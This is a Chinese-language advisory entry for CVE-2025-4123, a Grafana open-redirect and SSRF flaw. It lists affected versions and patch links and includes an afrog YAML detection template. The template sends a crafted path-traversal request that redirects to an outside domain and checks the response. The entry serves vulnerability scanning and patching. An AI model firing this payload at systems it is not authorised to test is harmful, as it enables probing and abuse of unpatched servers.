CVE-2025-4123: Grafana开放重定向&服务端请求伪造漏洞

日期: 2025-09-01 | 影响软件: Grafana | POC: 已公开

漏洞描述

该漏洞允许攻击者通过自定义前端插件将用户重定向到恶意网站，并执行任意 JаvаSсriрt 代码。

PoC代码[已公开]

id: CVE-2025-4123

info:
  name: Grafana开放重定向&服务端请求伪造漏洞
  author: free2e
  severity: high
  verified: true
  description: |
    该漏洞允许攻击者通过自定义前端插件将用户重定向到恶意网站，并执行任意 JаvаSсriрt 代码。
  affected: 8.0.0 ≤ grafana <10.4.18 、11.2.0 ≤ grafana <11.2.9 、11.3.0 ≤ grafana <11.3.6、 11.4.0 ≤ grafana <11.4.4 、11.5.0 ≤ grafana <11.5.4 、11.6.0 ≤ grafana <11.6.1 、 12.0.0 ≤ grafana <12.0.1 
  solutions: 目前厂商已发布升级补丁以修复漏洞https://grafana.com/security/security-advisories/cve-2025-4123/、https://grafana.com/blog/2025/05/21/grafana-security-release-high-severity-security-fix-for-cve-2025-4123/
  reference:
    - https://mp.weixin.qq.com/s/URckOUcTYvZR4rh9MS9T_w
  tags: Grafana、CVE-2025-4123

rules:
  r0:
    request:
      method: GET
      path: /public/..%2F%5ddfaggust.pro%2F%3f%2F..%2F..
    expression: |
      response.status == 302 && 
      response.headers["location"].contains("dfaggust.pro") && 
      response.body.bcontains(b'<a href="/]dfaggust.pro/?/../../">Found</a>.')
expression: r0()
来源: https://github.com/zan8in/afrog/blob/main/pocs/afrog-pocs/CVE/2025/CVE-2025-4123.yaml

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